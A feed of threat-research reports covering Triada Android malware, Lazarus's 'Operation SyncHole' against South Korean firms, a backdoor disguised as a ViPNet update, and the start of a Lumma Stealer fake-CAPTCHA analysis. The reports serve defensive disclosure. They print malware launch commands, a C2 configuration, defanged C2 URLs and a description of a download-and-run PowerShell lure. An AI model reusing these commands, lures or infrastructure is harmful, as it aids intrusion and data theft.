Separately, we decided to calculate the amount of cryptocurrency the Triada creators have stolen. To do this, we queried the Trojan’s C2 servers, receiving replacement wallet addresses in response. Findings from open-source research indicated that since June 13, 2024, the attackers had amassed more than $264,000 in various cryptocurrencies in wallets under their control. Below is a diagram showing the balance of several attacker-controlled wallets.

A profitability chart for the threat actor’s TRON wallets (download)

Conclusion

The new version of the Triada Trojan is a multi-stage backdoor giving attackers unlimited control over a victim’s device. The modular architecture provides its authors with a range of malicious capabilities, including targeted delivery of new modules and mass infection of specific applications. If your phone has been infected with Triada, we recommend following these rules to minimize the consequences of malicious activity:

• Install a clean firmware on your device.
• Avoid using messaging apps, crypto wallets, or social media clients currently on your device before installing new firmware.
• Use a reliable security solution to be promptly notified of similar threats on your device.

Indicators of compromise

Infected system frameworks

f468a29f836d2bba7a2b1a638c5bebf0
72cbbc58776ddc44abaa557325440bfb
fb937b1b15fd56c9d8e5bb6b90e0e24a
2ac4d8e1077dce6f4d2ba9875b987ca7
7b8905af721158731d24d0d06e6cb27e
9dd92503bd21d12ff0f2b9740fb6e529

Infected native libraries

89c3475be8dba92f4ee7de0d981603c1
01dff60fbf8cdf98980150eb15617e41
18fef4b6e229fc01c8b9921bb0353bb0
21be50a028a505b1d23955abfd2bdb3e
43adb868af3812b8f0c47e38fb93746a
511443977de2d07c3ee0cee3edae8dc8
716f0896b22c2fdcb0e3ee56b7c5212f
83dbc4b95f9ae8a83811163b301fe8c7
8892c6decebba3e26c57b20af7ad4cca
a7127978fac175c9a14cd8d894192f78
a9a106b9df360ec9d28f5dfaf4b1f0b5
c30c309e175905ffcbd17adb55009240
c4efe3733710d251cb041a916a46bc44
e9029811df1dd8acacfe69450b033804
e961cb0c7d317ace2ff6159efe30276a

Modules

Module C2 servers

lnwxfq[.]qz94[.]com
8.218.194[.]192
g.sxim[.]me
68u91[.]66foh90o[.]com
jmll4[.]66foh90o[.]com
w0g25[.]66foh90o[.]com
tqq6g[.]66foh90o[.]com
zqsvl[.]uhabq9[.]com
hm1es[.]uhabq9[.]com
0r23b[.]uhabq9[.]com
vg1ne[.]uhabq9[.]com
is5jg[.]3zweuj[.]com
qrchq[.]vrhoeas[.]com
xjl5a[.]unkdj[.]xyz
lvqtcqd[.]pngkcal[.]com
xc06a[.]0pk05[.]com
120.79.89[.]98
xcbm4[.]0pk05[.]com
lptkw[.]s4xx6[.]com
ad1x7[.]mea5ms[.]com
v58pq[.]mpvflv[.]com
bincdi[.]birxpk[.]com
773i8h[.]k6zix6[.]com
ya27fw[.]k6zix6[.]com

CDN servers for delivery of malicious modules

mp2y3[.]sm20j[.]xyz
ompe2[.]7u6h8[.]xyz
app-file.b-cdn[.]net

GitHub configurations

hxxps://raw.githubusercontent[.]com/adrdotocet/ott/main/api.json
hxxps://raw.githubusercontent[.]com/adrdotocet2/ott/main/api.json
hxxps://raw.githubusercontent[.]com/adrdotocet3/ott/main/api.json

Triada system properties

os.config.ppgl.ext.hws.cd
os.config.ppgl.btcore.devicekey
os.config.ppgl.version
os.config.opp.build.model
os.config.opp.build.status
os.config.ppgl.status
os.config.ppgl.status.rom
os.config.ppgl.build.vresion
os.config.hk.status
os.config.ppgl.cd
os.config.ppgl.dir
os.config.ppgl.dexok
os.config.ppgl.btcore.sericode
os.config.verify.status
os.config.alice.build.channel
os.config.alice.build.time
os.config.alice.service.status
os.android.version.alice.sure

Read More 

We have been tracking the latest attack campaign by the Lazarus group since last November, as it targeted organizations in South Korea with a sophisticated combination of a watering hole strategy and vulnerability exploitation within South Korean software. The campaign, dubbed “Operation SyncHole”, has impacted at least six organizations in South Korea’s software, IT, financial, semiconductor manufacturing, and telecommunications industries, and we are confident that many more companies have actually been compromised. We immediately took action by communicating meaningful information to the Korea Internet & Security Agency (KrCERT/CC) for rapid action upon detection, and we have now confirmed that the software exploited in this campaign has all been updated to patched versions.

Timeline of the operation

Our findings in a nutshell:

• At least six South Korean organizations were compromised by a watering hole attack combined with exploitation of vulnerabilities by the Lazarus group.
• A one-day vulnerability in Innorix Agent was also used for lateral movement.
• Variants of Lazarus’ malicious tools, such as ThreatNeedle, Agamemnon downloader, wAgent, SIGNBT, and COPPERHEDGE, were discovered with new features.

Background

The initial infection was discovered in November of last year when we detected a variant of the ThreatNeedle backdoor, one of the Lazarus group’s flagship malicious tools, used against a South Korean software company. We found that the malware was running in the memory of a legitimate
SyncHost.exe process, and was created as a subprocess of Cross EX, legitimate software developed in South Korea. This potentially was the starting point for the compromise of further five organizations in South Korea. Additionally, according to a recent security advisory posted on the KrCERT website, there appear to be recently patched vulnerabilities in Cross EX, which were addressed during the timeframe of our research.

In the South Korean internet environment, the online banking and government websites require the installation of particular security software to support functions such as anti-keylogging and certificate-based digital signatures. However, due to the nature of these software packages, they constantly run in the background to interact with the browser. The Lazarus group shows a strong grasp of these specifics and is using a South Korea-targeted strategy that combines vulnerabilities in such software with watering hole attacks. The South Korean National Cyber Security Center published its own security advisory in 2023 against such incidents, and also published additional joint security advisories in cooperation with the UK government.

Cross EX is designed to enable the use of such security software in various browser environments, and is executed with user-level privileges except immediately after installation. Although the exact method by which Cross EX was exploited to deliver malware remains unclear, we believe that the attackers escalated their privileges during the exploitation process as we confirmed the process was executed with high integrity level in most cases. The facts below led us to conclude that a vulnerability in the Cross EX software was most likely leveraged in this operation.

• The most recent version of Cross EX at the time of the incidents was installed on the infected PCs.
• Execution chains originating from the Cross EX process that we observed across the targeted organizations were all identical.
• The incidents that saw the
  Synchost process abused to inject malware were concentrated within a short period of time: between November 2024 and February 2025.

In the earliest attack of this operation, the Lazarus group also exploited another South Korean software product, Innorix Agent, leveraging a vulnerability to facilitate lateral movement, enabling the installation of additional malware on a targeted host of their choice. They even developed malware to exploit this, avoiding repetitive tasks and streamlining processes. The exploited software, Innorix Agent (version 9.2.18.450 and earlier), was previously abused by the Andariel group, while the malware we obtained targeted the more recent version 9.2.18.496.

While analyzing the malware’s behavior, we discovered an additional arbitrary file download zero-day vulnerability in Innorix Agent, which we managed to detect before any threat actors used it in their attacks. We reported the issues to the Korea Internet & Security Agency (KrCERT) and the vendor. The software has since been updated with patched versions.

Installing malware through vulnerabilities in software exclusively developed in South Korea is a key part of the Lazarus group’s strategy to target South Korean entities, and we previously disclosed a similar case in 2023, as did ESET and KrCERT.

Initial vector

The infection began when the user of a targeted system accessed several South Korean online media sites. Shortly after visiting one particular site, the machine was compromised by the ThreatNeedle malware, suggesting that the site played a key role in the initial delivery of the backdoor. During the analysis, it was discovered that the infected system was communicating with a suspicious IP address. Further examination revealed that this IP hosted two domains (T1583.001), both of which appeared to be hastily created car rental websites using publicly available HTML templates.

Appearance of www.smartmanagerex[.]com

The first domain,
www.smartmanagerex[.]com, seemed to be masquerading as software provided by the same vendor that distributes Cross EX. Based on these findings, we reconstructed the following attack scenario.

Attack flow during initial compromise

Given that online media sites are typically visited quite frequently by a wealth of users, the Lazarus group filters visitors with a server-side script and redirects desired targets to an attacker-controlled website (T1608.004). We assess with medium confidence that the redirected site may have executed a malicious script (T1189), targeting a potential flaw in Cross EX (T1190) installed on the target PC, and launching malware. The script then ultimately executed the legitimate
SyncHost.exe and injected a shellcode that loaded a variant of ThreatNeedle into that process. This chain, which ends with the malware being injected into
SyncHost.exe, was common to all of the affected organizations we identified, meaning that the Lazarus group has conducted extensive operations against South Korea over the past few months with the same vulnerability and the same exploit.

Execution flow

We have divided this operation into two phases based on the malware used. The first phase focused primarily on the execution chain involving ThreatNeedle and wAgent. It was then followed by the second phase which involved the use of SIGNBT and COPPERHEDGE.

We derived a total of four different malware execution chains based on these phases from at least six affected organizations. In the first infection case, we found a variant of the ThreatNeedle malware, but in subsequent attacks, the SIGNBT malware took its place, thus launching the second phase. We believe this is due to the quick and aggressive action we took with the first victim. In subsequent attacks, the Lazarus group introduced three updated infection chains including SIGNBT, and we observed a wider range of targets and more frequent attacks. This suggests that the group may have realized that their carefully prepared attacks had been exposed, and extensively leveraged the vulnerability from then on.

Chains of infection across the operation

First-phase malware

In the first infection chain, many updated versions of the malware previously used by the Lazarus group were used.

Variant of ThreatNeedle

The ThreatNeedle sample used in this campaign was also referred to as “ThreatNeedleTea” in a research paper published by ESET; we believe this is an updated version of the early ThreatNeedle. However, the ThreatNeedle seen in this attack had been modified with additional features.

This version of ThreatNeedle is divided into a Loader and Core samples. The Core version retrieves five configuration files from C_27098.NLS to C_27102.NLS, and contains a total of 37 commands. The Loader version, meanwhile, references only two configuration files and implements only four commands.

The Core component receives a specific command from the C2, resulting in an additional loader file being created for the purpose of persistence. This file can be disguised as the ServiceDLL value of a legitimate service in the netsvcs group (T1543.003), the IKEEXT service (T1574.001), or registered as a Security Service Provider (SSP) (T1547.005). It ultimately loads the ThreatNeedle Loader component.

Behavior flow to load ThreatNeedle Loader by target service

The updated ThreatNeedle generates a random key pair based on the Curve25519 algorithm (T1573.002), sends the public key to the C2 server, and then receives the attacker’s public key. Finally, the generated private key and the attacker’s public key are scalar-operated to create a shared key, which is then used as the key for the ChaCha20 algorithm to encrypt the data (T1573.001). The data is sent and received in JSON format.

LPEClient

LPEClient is a tool known for victim profiling and payload delivery (T1105) that has previously been observed in attacks on defense contractors and the cryptocurrency industry. We disclosed that this tool had been loaded by SIGNBT when we first documented SIGNBT malware. However, we did not observe LPEClient being loaded by SIGNBT in this campaign. It was only loaded by the variant of ThreatNeedle.

Variant of wAgent

In addition to the variant of ThreatNeedle, a variant of the wAgent malware was also discovered in the first affected organization. wAgent is a malicious tool that we documented in 2020, and a similar version was mentioned in Operation GoldGoblin by KrCERT. The origin of its creation is still shrouded in mystery, but we discovered that the wAgent loader was disguised as
liblzma.dll and executed via the command line
rundll32.exe c:Programdataintelutil.dat, afunix 1W2–UUE–ZNO–B99Z (T1218.011). The export function retrieves the given filename
1W2–UUE–ZNO–B99Z in C:ProgramData, which also serves as the decryption key. After converting this filename into wide bytes, it uses the highest 16 bytes of the resulting value as the key for the AES-128-CBC algorithm and decrypts (T1140) the contents of the file located in C:ProgramData (T1027.013). The upper four bytes of the decrypted data subsequently represent the size of the payload (T1027.009), which we identified as an updated version of the wAgent malware.

The variant of wAgent has the ability to receive data in both form-data and JSON formats, depending on the C2 server it succeeds in reaching. Notably, it includes the
__Host–next–auth–token key within the
Cookie field in the request header during the communication (T1071.001), carrying the sequence of communication appended by random digits. In this version, the new observed change is that an open-source GNU Multiple-Precision (GMP) library is employed to carry out RSA encryption computations, which is a previously unseen library in malware used by the Lazarus group. According to the wAgent configuration file, it is identified as the x64_2.1 version. This version manages payloads using a C++ STL map, with emphasis on receiving additional payloads from the C2 and loading them directly into memory, along with creating a shared object. With this object, the main module is able to exchange command parameters and execution results with the delivered plugins.

Operational structure of the wAgent variant

Variant of the Agamemnon downloader

The Agamemnon downloader is also responsible for downloading and executing additional payloads received from the C2 server. Although we did not obtain the configuration file of Agamemnon, it receives commands from the C2 and executes the payload by parsing the commands and parameters based on
;; characters, which serve as command and parameter delimiters. The value of the mode in response passed with a
2 command determines how to execute the additional payload, which is delivered along with a
3 command. There are two methods of execution: the first one is to load the payload reflectively (T1620), which is commonly used in malware, whereas the second one is to utilize the open-source Tartarus-TpAllocInject technique, which we have not previously seen in malware from the Lazarus group.

Structure of the commands where additional data is passed

The open-source loader is built on top of another open-source loader named Tartarus’ Gate. Tartarus’ Gate is based on Halo’s Gate, which is in turn based on Hell’s Gate. All of these techniques are designed to bypass security products such as antivirus and EDR solutions, but they load the payload in different ways.

Innorix Agent exploit for lateral movement

Unlike the previously mentioned tools, the Innorix abuser is used for lateral movement. It is downloaded by the Agamemnon downloader (T1105) and exploits a specific version of a file transfer software tool developed in South Korea, Innorix Agent, to fetch additional malware on internal hosts (T1570). Innorix Agent is another software product that is mandatory for some financial and administrative tasks in the South Korean internet environment, meaning that it is likely to be installed on many PCs of both corporations and individuals in South Korea, and any user with a vulnerable version is potentially a target. The malware embeds a license key allegedly bound to version 9.2.18.496, which allows it to perform lateral movement by generating malicious traffic disguised as legitimate traffic against targeted network PCs.

The Innorix abuser is given parameters from the Agamemnon downloader: the target IP, URL to download a file, and file size. It then delivers a request to that target IP to check if Innorix Agent is installed and running. If a successful response is returned, the malware assumes that the software is running properly on the targeted host and transmits traffic that allows the target to download the additional files from the given URL due to a lack of traffic validation.

Steps to deploy additional malware via the Innorix abuser

The actor created a legitimate
AppVShNotify.exe and a malicious
USERENV.dll file in the same path via the Innorix abuser, and then executed the former using a legitimate feature of the software. The
USERENV.dll was sideloaded (T1574.002) as a result, which ultimately led to the execution of ThreatNeedle and LPEClient on the targeted hosts, thus launching the infection chain on previously unaffected machines.

We reported this vulnerability to KrCERT due to the potentially dangerous impact of the Innorix abuser, but were informed that the vulnerability has been exploited and reported in the past. We have confirmed that this malware does not work effectively in environments with Innorix Agent versions other than 9.2.18.496.

In addition, while digging into the malware’s behavior, we identified another additional arbitrary file download vulnerability that applies to versions up to 9.2.18.538. It is tracked as KVE-2025-0014 and we have not yet found any evidence of its use in the wild. KVE is a vulnerability identification number issued exclusively by KrCERT. We successfully contacted Innorix to share our findings containing the vulnerabilities via KrCERT, and they managed to release a patched version in March with both vulnerabilities fixed.

Second phase malware

The second phase of the operation also introduces newer versions of malicious tools previously seen in Lazarus attacks.

SIGNBT

The SIGNBT we documented in 2023 was version 1.0, but in this attack, version 0.0.1 was used at the forefront. In addition, we identified a more recent version, SIGNBT 1.2. Unlike versions 1.0 and 0.0.1, the 1.2 version had minimal remote control capabilities and was focused on executing additional payloads. The malware developers named this version “Hijacking”.

In the second phase of this operation, SIGNBT 0.0.1 was the initial implant executed in memory in SyncHost.exe to fetch additional malware. In this version, the C2 server was hardcoded without reference to any configuration files. During this investigation, we found a credential dumping tool that was fetched by SIGNBT 0.0.1, identical to what we have seen in previous attacks.

As for version 1.2, it fetches the path to the configuration file from its resources and retrieves the file to obtain C2 server addresses. We were able to extract two configuration file paths from each identified SIGNBT 1.2 sample, which are shown below. Another change in SIGNBT 1.2 is that the number of prefixes starting with
SIGN are reduced to only three:
SIGNBTLG,
SIGNBTRC, and
SIGNBTSR. The malware receives an RSA public key from the C2 and encrypts a randomly generated AES key using the public key. All traffic is encrypted with the generated AES key.

• Configuration file path 1: C:ProgramDataSamsungSamsungSettingssettings.dat
• Configuration file path 2: C:ProgramDataMicrosoftDRMServerdrm.ver

{
	proxylist: [{ // C2 server list
        	    	proxy: "https%0x3A//builsf[.]com/inc/left.php"
    	},
    	{
        	    	proxy: "https%0x3A//www.rsdf[.]kr/wp-content/uploads/2024/01/index.php"
    	},
    	{
        	    	proxy: "http%0x3A//www.shcpump[.]com/admin/form/skin/formBasic/style.php"
    	},
    	{
        	    	proxy: "https%0x3A//htns[.]com/eng/skin/member/basic/skin.php"
    	},
    	{
        	    	proxy: "https%0x3A//kadsm[.]org/skin/board/basic/write_comment_skin.php"
    	},
    	{
        	    	proxy: "http%0x3A//bluekostec[.]com/eng/community/write.asp"
    	},
    	{
        	    	proxy: "http%0x3A//dream.bluit.gethompy[.]com/mobile/skin/board/gallery/index.skin.php"
    	}],
	wake: 1739839071, // Timestamp of Tuesday, February 18, 2025 12:37:51 AM
	status: 1 // It means the scheduled execution time is set.
}

COPPERHEDGE

COPPERHEDGE is a malicious tool that was named by US-CERT in 2020. It is a Manuscrypt variant and was primarily used in the DeathNote cluster attacks. Unlike the other malware used in this operation, COPPERHEDGE has not changed dramatically, with only several commands being slightly changed compared to the older versions. This version, however, retrieves configuration information such as the C2 server address from the ADS
%appdata%MicrosoftInternet Explorerbrndlog.txt:loginfo (T1564.004). The malware then sends HTTP traffic to C2 with three or four parameters for each request, where the parameter name is chosen randomly out of three names in any order.

• First HTTP parameter name: bih, aqs, org
• Second HTTP parameter name: wib, rlz, uid
• Third HTTP parameter name: tib, hash, lang
• Fourth HTTP parameter name: ei, ie, oq

The actor primarily used the COPPERHEDGE malware to conduct internal reconnaissance in this operation. There are a total of 30 commands from 0x2003 to 0x2032, and 11 response codes from 0x2040 to 0x2050 inside the COPPERHEDGE backdoor.

The evolution of Lazarus malware

In recent years, the malware used by the Lazarus group has been rapidly evolving to include lightweighting and modularization. This applies not only to newly added tools, but also to malware that has been used in the past. We have observed such changes for a few years, and we believe there are more on the way.

Discoveries

During our investigation into this campaign, we gained extensive insight into the Lazarus group’s post-exploitation strategy. After installing the COPPERHEDGE malware, the actor executed numerous Windows commands to gather basic system information (T1082, T1083, T1057, T1049, T1016, T1087.001), create a malicious service (T1569.002, T1007) and attempt to find valuable hosts to perform lateral movement (T1087.002, T1135).

While analyzing the commands executed by the actor, we were able to identify the actor’s mistake when using the
taskkill command: the
/im parameter when using
taskkill means
imagename, which should specify the image name of the process, not the process id. This shows that the actor is still performing internal reconnaissance by manually entering commands.

Infrastructure

Throughout this operation, most of the C2 servers were legitimate but compromised websites in South Korea (T1584.001), further indicating that this operation was highly focused on South Korea. In the first phase, other media sites were utilized as C2 servers to avoid detection of media-initiated watering hole attacks. However, as the infection chain turned to the second phase, legitimate sites in various other industries were additionally exploited.

Unlike other cases, LPEClient’s C2 server was hosted by the same hosting company as
www.smartmanagerex[.]com, which was deliberately created for initial compromise. Given that LPEClient is heavily relied upon by the Lazarus group for delivering additional payloads, it is likely that the attackers deliberately rented and configured the server (T1583.003), assigning a domain under their control to maintain full operational flexibility. In addition to this, we also found that two domains that were exploited as C2 servers for SIGNBT 0.0.1 resolved to the same hosting company’s IP range.

We confirmed that the domain
thek–portal[.]com belonged to a South Korean ISP until 2020 and was the legitimate domain of an insurance company that was acquired by another company. Since then, the domain had been parked and its status was changed in February 2025, indicating that the Lazarus group re-registered the domain to leverage it in this operation.

Attribution

Throughout this campaign, several malware samples were used that we managed to attribute to the Lazarus group through our ongoing and dedicated research conducted for a long time. Our attribution is supported by the historical use of the malware strains, as well as their TTPs, all of which have been well documented by numerous security solutions vendors and governments. Furthermore, we have analyzed the execution time of the Windows commands delivered by the COPPERHEDGE malware, the build timestamps of all malicious samples we described above, and the time of initial compromise per host, demonstrating that the timeframes were mostly concentrated between GMT 00:00 and 09:00. Based on our knowledge of normal working hours in various time zones, we can infer that the actor is located in the GMT+09 time zone.

Timeline of malicious activity

Victims

We identified at least six software, IT, financial, semiconductor manufacturing and telecommunication organizations in South Korea that fell victim to “Operation SyncHole”. However, we are confident that there are many more affected organizations across a broader range of industries, given the popularity of the software exploited by Lazarus in this campaign.

Conclusion

This is not the first time that the Lazarus group exploited supply chains with a full understanding of the software ecosystem in South Korea. We have already described similar attacks in our analysis reports on the Bookcode cluster in 2020, the DeathNote cluster in 2022, and the SIGNBT malware in 2023. All of these cases targeted software developed by South Korean vendors that required installation for online banking and government services. Both of the software products exploited in this case are in line with past cases, meaning that the Lazarus group is endlessly adopting an effective strategy based on cascading supply chain attacks.

The Lazarus group’s specialized attacks targeting supply chains in South Korea are expected to continue in the future. Our research over the past few years provided evidence that many software development vendors in Korea have already been attacked, and if the source code of a product has been compromised, other zero-day vulnerabilities may continue to be discovered. The attackers are also making efforts to minimize detection by developing new malware or enhancing existing malware. In particular, they introduce enhancements to the communication with the C2, command structure, and the way they send and receive data.

We have proven that accurate detection and quick response can effectively deter their tactics, and in the meantime, we were able to remediate vulnerabilities and mitigate attacks to minimize damage. We will continue to monitor the activity of this group and remain agile in responding to their changes. We also recommend using reliable security solutions to stay alert and mitigate potential risks. Our product line for businesses helps identify and prevent attacks of any complexity at an early stage.

Kaspersky products detect the exploits and malware used in this attack with the following verdicts:
Trojan.Win64.Lazarus.*,
Trojan.Win32.Lazarus.*,
MEM:Trojan.Win32.Cometer.gen,
MEM:Trojan.Win32.SEPEH.gen,
Trojan.Win32.Manuscrypt.*,
Trojan.Win64.Manuscrypt.*,
Trojan.Win32.Zenpak.*.

Indicators of Compromise

More IoCs are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Variant of the ThreatNeedle loader
f1bcb4c5aa35220757d09fc5feea193b C:System32PCAuditex.dll

Variant of the wAgent loader
dc0e17879d66ea9409cdf679bfea388c C:ProgramDataintelutil.dat

COPPERHEDGE dropper
2d47ef0089010d9b699cd1bbbc66f10a %AppData%hnc_net.tmp

C2 servers
www[.]smartmanagerex[.]com
hxxps://thek-portal[.]com/eng/career/index.asp
hxxps://builsf[.]com/inc/left.php
hxxps://www[.]rsdf[.]kr/wp-content/uploads/2024/01/index.php
hxxp://www[.]shcpump[.]com/admin/form/skin/formBasic/style.php
hxxps://htns[.]com/eng/skin/member/basic/skin.php
hxxps://kadsm[.]org/skin/board/basic/write_comment_skin.php
hxxp://bluekostec[.]com/eng/community/write.asp
hxxp://dream.bluit.gethompy[.]com/mobile/skin/board/gallery/index.skin.php

Read More 

As we were looking into a cyberincident in April 2025, we uncovered a rather sophisticated backdoor. It targeted various large organizations in Russia, spanning the government, finance, and industrial sectors. While our investigation into the attack associated with the backdoor is still ongoing, we believe it is crucial to share our preliminary findings with the community. This will enable organizations that may be at risk of infection from the backdoor to take swift action to protect themselves from this threat.

Impersonating a ViPNet update

Our investigation revealed that the backdoor targets computers connected to ViPNet networks. ViPNet is a software suite for creating secure networks. We determined that the backdoor was distributed inside LZH archives with a structure typical of updates for the software product in question. These archives contained the following files:

• action.inf: a text file
• lumpdiag.exe: a legitimate executable
• msinfo32.exe: a small malicious executable
• an encrypted file containing the payload (the name varies between archives)

The ViPNet developer confirmed targeted attacks against some of their users and issued security updates and recommendations for customers (page in Russian).

Malware execution

After analyzing the contents of the archive, we found that the action.inf text file contained an action to be executed by the ViPNet update service component (itcsrvup64.exe) when processing the archive:

[ACTION]
action=extra_command
extra_command=lumpdiag.exe --msconfig

As evident from the file content above, when processing extra_command, the update service launches lumpdiag.exe with an
–msconfig argument. We mentioned earlier that this is a legitimate file. However, it is susceptible to the path substitution technique. This allows attackers to execute the malicious file msinfo32.exe while lumpdiag.exe is running.

Downloadable payload

The msinfo32.exe file is a loader that reads the encrypted payload file. The loader processes the contents of the file to load the backdoor into memory. This backdoor is versatile: it can connect to a C2 server via TCP, allowing the attacker to steal files from infected computers and launch additional malicious components, among other things. Kaspersky solutions detect this threat as HEUR:Trojan.Win32.Loader.gen.

Multi-layered security is key to preventing sophisticated cyberattacks

The complexity of cyberattacks carried out by APT groups has significantly increased over the years. Attackers can target organizations in highly unusual and unexpected ways. To prevent sophisticated targeted attacks, it is essential to employ multi-layered, defense-in-depth security against cyberthreats. This is the type of security architecture implemented in our Kaspersky NEXT product line, capable of protecting businesses from attacks similar to the one described in this article.

Indicators of compromise

The full list of indicators of compromise is available to subscribers of our Kaspersky Threat Intelligence service.

Hashes of msinfo32.exe

018AD336474B9E54E1BD0E9528CA4DB5
28AC759E6662A4B4BE3E5BA7CFB62204
77DA0829858178CCFC2C0A5313E327C1
A5B31B22E41100EB9D0B9A27B9B2D8EF
E6DB606FA2B7E9D58340DF14F65664B8

Paths to malicious files

%TEMP%update_tmp*updatemsinfo32.exe
%PROGRAMFILES%common filesinfotecsupdate_tmpdriv_**msinfo32.exe
%PROGRAMFILESx86%InfoTeCSViPNet Coordinatorcccupdate_tmpDRIV_FSA*msinfo32.exe

Read More 

Introduction

The evolution of Malware-as-a-Service (MaaS) has significantly lowered the barriers to entry for cybercriminals, with information stealers becoming one of the most commercially successful categories in this underground economy. Among these threats, Lumma Stealer has emerged as a particularly sophisticated player since its introduction in 2022 by the threat actor known as Lumma. Initially marketed as LummaC2, this information stealer quickly gained traction in underground forums, with prices starting at $250. As of March 2025, its presence on dark web marketplaces and Telegram channels continues to grow, with over a thousand active subscribers.

LummaC2 seller’s official website

Lumma delivery usually involves human interaction, such as clicking a link, running malicious commands, etc. Recently, while investigating an incident as part of our incident response services, our Global Emergency Response Team (GERT) encountered Lumma on a customer’s system. The analysis revealed that the incident was triggered by human interaction, namely the user was tricked into executing a malicious command by a fake CAPTCHA page. In this article, we will review in detail how the fake CAPTCHA campaign works and share a list of IoCs that we discovered during our analysis and investigation of the campaign. Although we already described this distribution method in an earlier article, more details about this campaign have been discovered since then.

Lumma Stealer’s distribution vectors

Lumma Stealer’s distribution methods are diverse, using common techniques typically seen in information-stealing malware campaigns. Primary infection vectors include phishing emails with malicious attachments or links, as well as trojanized legitimate applications. These deceptive tactics trick users into executing the malware, which runs silently in the background harvesting valuable data. Lumma has also been observed using exploit kits, social engineering, and compromised websites to extend its reach and evade detection by security solutions. In this article, we’ll focus mainly on the fake CAPTCHA distribution vector.

This vector involves fake verification pages that resemble legitimate services, often hosted on platforms that use Content Delivery Networks (CDNs). These pages typically masquerade as frequently used CAPTCHAs, such as Google reCAPTCHA or Cloudflare CAPTCHA, to trick users into believing they are interacting with a trusted service.

Fake CAPTCHA distribution vectors

Fake CAPTCHA distribution scheme

There are two types of resources used to promote fake CAPTCHA pages:

• Pirated media, adult content, and cracked software sites. The attackers clone these websites and inject malicious advertisements into the cloned page that redirect users to a malicious CAPTCHA.
• Fake Telegram channels for pirated content and cryptocurrencies. The attackers create Telegram channels with names containing keywords related to cryptocurrencies or pirated content, such as software, movies, etc. When a user searches for such content, the fraudulent channels appear at the top of the search. The attackers also use social media posts to lure victims to these channels. When a user joins such a channel, they are prompted to complete an identity verification via a fraudulent “Safeguard Captcha” bot.
  

  Safeguard Captcha bot

  Once the user clicks the Verify button, the bot opens a pop-up page with a fake CAPTCHA.

Fake CAPTCHA page

Users are presented with a pop-up page that looks like a standard CAPTCHA verification, prompting them to click I’m not a robot/Verify/Copy or some similar button. However, this is where the deception begins.

Fake CAPTCHA page examples

Fake page malicious content

When the I’m not a robot/Verify/Copy button is clicked, the user is instructed to perform an unusual sequence:

• Open the Run dialog(Win+R)
• Press Ctrl+V
• Hit Enter

Without the user’s knowledge, clicking the button automatically copies a PowerShell command to the clipboard. Once the user pastes the command into the Run dialog and presses Enter, the system executes the command.

Examples of scripts copied to the clipboard and executed via the Run dialog

The command may vary slightly from site to site and changes every few days, but it is typically used to download Lumma Stealer from a remote server, which is usually a known CDN with a free trial period or a legitimate code hosting and collaboration platform such as GitHub, and begin the malware installation process. Let’s take a closer look at this infection chain using the following command that was executed in our customer’s incident as an example:

Command triggering Lumma’s infection chain

The command is rather simple. It decodes and runs the contents from the remote win15.txt file hosted at https[:]//win15.b-cdn[.]net/win15.txt. The win15.txt file contains a Base64-encoded PowerShell script that then downloads and runs the Lumma Stealer. When decoded, the malicious PowerShell script looks like this:

Contents of win15.txt

The script performs the following actions:

1. Downloads the malware. It downloads the win15.zip file from https[:]//win15.b-cdn[.]net/win15.zip to [User Profile]AppDataRoamingbFylC6zX.zip.
2. Extracts the malware. The downloaded ZIP file is extracted to C:Users[User]AppDataRoaming7oCDTWYu, a hidden folder under the user’s AppData directory.
3. Executes the malware. The script runs the Set-up.exe file from the unpacked archive, which is now located at C:Users[User]AppDataRoaming7oCDTWYuSet-up.exe.
4. Establishes persistence mechanism. The script creates an entry in the Windows Registry for persistency, ensuring that the malware runs every time the system starts. The registry key is added under HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun. The key name is 5TQjtTuo, with the value pointing to Set-up.exe.

However, in some cases, the malware delivery mechanism can be more complex. In the following example, the delivery script is a JavaScript code hidden in what looks like an .mp3 file (other file formats such as .mp4 and .png have also been used). In fact, in addition to the JavaScript, the file may contain a corrupt .mp3/.mp4 file, legitimate software code, or just random data.

The script is executed using the Microsoft HTML Application engine mshta.exe by prompting the user to paste the following command into the Run dialog box:

Command triggering JS-based infection chain

The mshta command parses the file as an HTA file (Microsoft HTML Application) and executes any JavaScript code within the <script> tag, triggering the following infection chain:

Layer (1)

The JS script inside the .mp3 file is executed by mshta.

JS script within the never.mp3 file

Layer (2)

After calculating the Kwb value, the following script is obtained, which is then executed by the eval function.

Layer (2) JS script

Layer (3)

After calculating the values for kXN and zzI, the final ActiveX command is built and executed. It contains an encoded PowerShell script in the $PBwR variable.

Deobfuscated Layer (2) JS script

Layer (4)

After decoding the PowerShell script, we found that its main purpose is to download and execute another PowerShell file from the C2 path hXXps://connect[.]klipfuzj[.]shop/firefire[.]png.

Decrypted Layer (3) PowerShell script

Analysis for firefire.png

The file firefire.png is a huge PowerShell file (~31MB) with several layers of obfuscation and anti-debugging. After deobfuscating and removing unnecessary code, we could see that the main purpose of the file is to generate and execute an encrypted PowerShell script as follows:

firefire.png

The decryption key is the output of the Invoke-Metasploit command, which is blocked if the AMSI is enabled. As a result, an error message is generated by the AMSI: AMSI_RESULT_NOT_DETECTED, which is used as the key. If the AMSI is disabled, the malware will fail to decrypt the script.

The decrypted PowerShell script is approximately 1.5MB in size and its main purpose is to create and run a malicious executable file.

Decrypted PowerShell script

Infection methods and techniques

Lumma Stealer has been observed in the wild using a variety of infection methods, with two primary techniques standing out in its distribution campaigns: DLL sideloading and injection of a malicious payload into the overlay section of legitimate free software. These techniques are particularly effective at evading detection because they exploit the trust that users place in widely used applications and system processes.

• DLL sideloading

  DLL sideloading is a well-known technique where malicious dynamic link libraries (DLLs) are loaded by a legitimate application. This technique exploits vulnerabilities or misconfigurations in software that inadvertently load DLL files from untrusted directories. Attackers can drop the Lumma Stealer DLL in the same directory as a trusted application, causing it to load when the application is executed. Because the malicious DLL is loaded in the context of a trusted process, it is much harder for traditional security measures to detect the intrusion.

• Injection of malicious payload into the overlay section of software

  Another method commonly used by Lumma Stealer is to inject a malicious payload into the overlay section of free software. The overlay section is typically used for legitimate software functionality, such as displaying graphical interfaces or handling certain input events. By modifying this section of the software, the adversary can inject the malicious payload without disrupting the normal operation of the application. This method is particularly insidious because the software continues to appear legitimate while the malicious code silently executes in the background. It also helps the malware evade detection by security tools that focus on system-level monitoring.

Both of these methods rely on exploiting trusted applications, which significantly increases the chances of successful infection. These techniques can be used in combination with others, such as phishing or trojanized software bundles, to maximize the spread of Lumma Stealer to multiple targets.

Sample analysis

